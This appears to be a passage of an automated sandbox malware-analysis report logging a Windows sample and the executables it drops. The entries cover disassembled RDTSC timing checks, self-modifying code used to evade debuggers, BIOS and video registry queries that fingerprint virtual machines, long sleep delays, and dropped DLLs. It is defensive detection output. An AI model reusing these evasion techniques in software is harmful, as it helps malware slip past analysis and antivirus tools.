Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F209B5 second address: 4F209BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F209BB second address: 4F209EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx eax, dx 0x00000006 movsx ebx, si 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c test byte ptr [775F6968h], 00000002h 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushfd 0x00000017 jmp 00007FAD011DC39Ch 0x0000001c xor si, 1AE8h 0x00000021 jmp 00007FAD011DC39Bh 0x00000026 popfd 0x00000027 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F209EF second address: 4F209F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F209F3 second address: 4F20A5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushfd 0x00000007 jmp 00007FAD011DC3A6h 0x0000000c and si, 2D48h 0x00000011 jmp 00007FAD011DC39Bh 0x00000016 popfd 0x00000017 popad 0x00000018 jne 00007FAD73821D2Ah 0x0000001e jmp 00007FAD011DC3A6h 0x00000023 mov edx, dword ptr [ebp+0Ch] 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FAD011DC3A7h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F20A5A second address: 4F20A87 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757CA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b call 00007FAD00757C9Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F20A87 second address: 4F20AF6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov bh, 7Fh 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FAD011DC39Bh 0x00000011 jmp 00007FAD011DC3A3h 0x00000016 popfd 0x00000017 pushfd 0x00000018 jmp 00007FAD011DC3A8h 0x0000001d and cx, D928h 0x00000022 jmp 00007FAD011DC39Bh 0x00000027 popfd 0x00000028 popad 0x00000029 popad 0x0000002a xchg eax, ebx 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FAD011DC3A5h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F20AF6 second address: 4F20AFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F20AFC second address: 4F20B0C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push ebx 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F20B0C second address: 4F20B11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F20B11 second address: 4F20B6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD011DC3A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FAD011DC39Eh 0x00000013 or cx, 8048h 0x00000018 jmp 00007FAD011DC39Bh 0x0000001d popfd 0x0000001e mov ax, 3BBFh 0x00000022 popad 0x00000023 push dword ptr [ebp+14h] 0x00000026 pushad 0x00000027 mov eax, 12680453h 0x0000002c popad 0x0000002d push dword ptr [ebp+10h] 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 mov dx, FD66h 0x00000037 mov ah, bl 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F20B6D second address: 4F20B75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, si 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F20B87 second address: 4F20B8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F20B8B second address: 4F20B8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F20B8F second address: 4F20B95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F20B95 second address: 4F20BDF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757CA0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FAD00757C9Eh 0x00000011 sub ax, 5768h 0x00000016 jmp 00007FAD00757C9Bh 0x0000001b popfd 0x0000001c mov edi, esi 0x0000001e popad 0x0000001f pop ebx 0x00000020 pushad 0x00000021 push esi 0x00000022 pushad 0x00000023 popad 0x00000024 pop ebx 0x00000025 popad 0x00000026 mov esp, ebp 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov ah, 12h 0x0000002d mov eax, edi 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F20BDF second address: 4F20BE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, cx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F30C58 second address: 4F30C5C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F30C5C second address: 4F30C62 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F30C62 second address: 4F30C71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F30C71 second address: 4F30CD0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAD011DC3A5h 0x00000009 sub ax, 8676h 0x0000000e jmp 00007FAD011DC3A1h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FAD011DC3A0h 0x0000001a add cl, FFFFFF98h 0x0000001d jmp 00007FAD011DC39Bh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 mov dword ptr [esp], ebp 0x00000029 pushad 0x0000002a pushad 0x0000002b mov bl, cl 0x0000002d popad 0x0000002e push eax 0x0000002f push edx 0x00000030 mov bh, 85h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F30CD0 second address: 4F30D07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov ebp, esp 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007FAD00757CA8h 0x00000010 xor ecx, 5E43C058h 0x00000016 jmp 00007FAD00757C9Bh 0x0000001b popfd 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F30D07 second address: 4F30D0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F30D0C second address: 4F30D12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F30D12 second address: 4F30D35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FAD011DC3A8h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F30D35 second address: 4F30D47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAD00757C9Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F309AD second address: 4F30A25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAD011DC3A8h 0x00000009 adc si, 6B48h 0x0000000e jmp 00007FAD011DC39Bh 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FAD011DC3A8h 0x0000001a xor ax, 2DA8h 0x0000001f jmp 00007FAD011DC39Bh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 xchg eax, ebp 0x00000029 jmp 00007FAD011DC3A6h 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F30A25 second address: 4F30A41 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAD00757CA8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F30A41 second address: 4F30A60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 mov bl, 76h 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edx 0x0000000f pop eax 0x00000010 call 00007FAD011DC39Dh 0x00000015 pop ecx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F30A60 second address: 4F30A66 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F30A66 second address: 4F30A6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	RDTSC instruction interceptor: First address: 4F30A6A second address: 4F30A8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a jmp 00007FAD00757CA4h 0x0000000f pop ebp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Special instruction interceptor: First address: C5E989 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Special instruction interceptor: First address: C5C2E6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\fkawMJ7FH8.exe	Special instruction interceptor: First address: E2FA22 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 59E989 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 59C2E6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Special instruction interceptor: First address: 76FA22 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Special instruction interceptor: First address: A3FD37 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Special instruction interceptor: First address: BF9A87 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Special instruction interceptor: First address: BE1D54 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Special instruction interceptor: First address: C5A89C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Special instruction interceptor: First address: 19ECC5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Special instruction interceptor: First address: 33C789 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Special instruction interceptor: First address: 33AFE7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Special instruction interceptor: First address: 3627A0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Special instruction interceptor: First address: 19EC78 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008386001\aec9ffe5ce.exe	Special instruction interceptor: First address: 3C6CEB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Special instruction interceptor: First address: 9DB639 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: DFECC5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F9C789 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: F9AFE7 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: FC27A0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: DFEC78 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Special instruction interceptor: First address: AEFA96 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1026CEB instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe

Memory allocated: 2B509460000 memory reserve | memory write watch

Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\fkawMJ7FH8.exe

Code function: 1_2_04FA02BE rdtsc

1_2_04FA02BE

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Thread delayed: delay time: 180000
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 935	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 941	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1042	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 619	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 978	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1044	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 995	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Window / User API: threadDelayed 1045	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window / User API: threadDelayed 960
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window / User API: threadDelayed 1106
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window / User API: threadDelayed 1079
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window / User API: threadDelayed 1028
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window / User API: threadDelayed 1140
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window / User API: threadDelayed 1158
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window / User API: threadDelayed 1123
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window / User API: threadDelayed 1091
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window / User API: threadDelayed 1159
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window / User API: threadDelayed 1130
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window / User API: threadDelayed 1110
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window / User API: threadDelayed 1179
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window / User API: threadDelayed 1222
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window / User API: threadDelayed 1204
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window / User API: threadDelayed 1219
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window / User API: threadDelayed 1212
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window / User API: threadDelayed 1178
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window / User API: threadDelayed 1190
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window / User API: threadDelayed 1207
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window / User API: threadDelayed 1191
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Window / User API: threadDelayed 1493
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window / User API: threadDelayed 1157
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window / User API: threadDelayed 1047
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window / User API: threadDelayed 1094
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window / User API: threadDelayed 1104
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Window / User API: threadDelayed 1142
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Window / User API: threadDelayed 1220
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Window / User API: threadDelayed 1201
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Window / User API: threadDelayed 1201
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Window / User API: threadDelayed 1215
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Window / User API: threadDelayed 1221
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Window / User API: threadDelayed 1221
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Window / User API: threadDelayed 1219
Source: C:\Users\user\AppData\Local\Temp\1008388001\530c1fe82f.exe	Window / User API: threadDelayed 1220
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1181
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1081
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1081
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1112
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1117
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1074
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1063
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window / User API: threadDelayed 1180
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window / User API: threadDelayed 1196
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window / User API: threadDelayed 1207
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window / User API: threadDelayed 1178
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window / User API: threadDelayed 1188
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window / User API: threadDelayed 1231
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window / User API: threadDelayed 1210
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window / User API: threadDelayed 1207
Source: C:\Windows\SysWOW64\rundll32.exe	Window / User API: threadDelayed 4177
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window / User API: threadDelayed 1182
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window / User API: threadDelayed 1213
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window / User API: threadDelayed 1195
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window / User API: threadDelayed 1208
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window / User API: threadDelayed 1213
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window / User API: threadDelayed 1185
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window / User API: threadDelayed 1201
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Window / User API: threadDelayed 1205
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1650

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1021127001\client.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\WDKI0JR2\dll[1]	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4UK5I61J\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\VsweF4WV22ueuvrv1eDSCB2tK55F\Y-Cleaner.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1021118001\6d3d2bb3d5.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008385001\24adfe999c.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1021124001\7385f65012.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\QI6Y9C7H\clip64[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\VsweF4WV22ueuvrv1eDSCB2tK55F\Bunifu_UI_v1.5.3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008387001\ba327bb7fd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\soft[1]	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1020826001\I0XmI2t.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\nhj43jrxzblOJXQMNIQ\DJj.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\1021119001\c12f8f2854.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\HI1BCF07\client[1].exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\1004899001\am209.exe	API coverage: 4.4 %
Source: C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe	API coverage: 6.6 %

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 316	Thread sleep count: 935 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 316	Thread sleep time: -1870935s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2572	Thread sleep count: 941 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2572	Thread sleep time: -1882941s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2788	Thread sleep time: -36000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2508	Thread sleep count: 183 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2508	Thread sleep time: -5490000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe TID: 2968	Thread sleep count: 1042 > 30	Jump to behavior
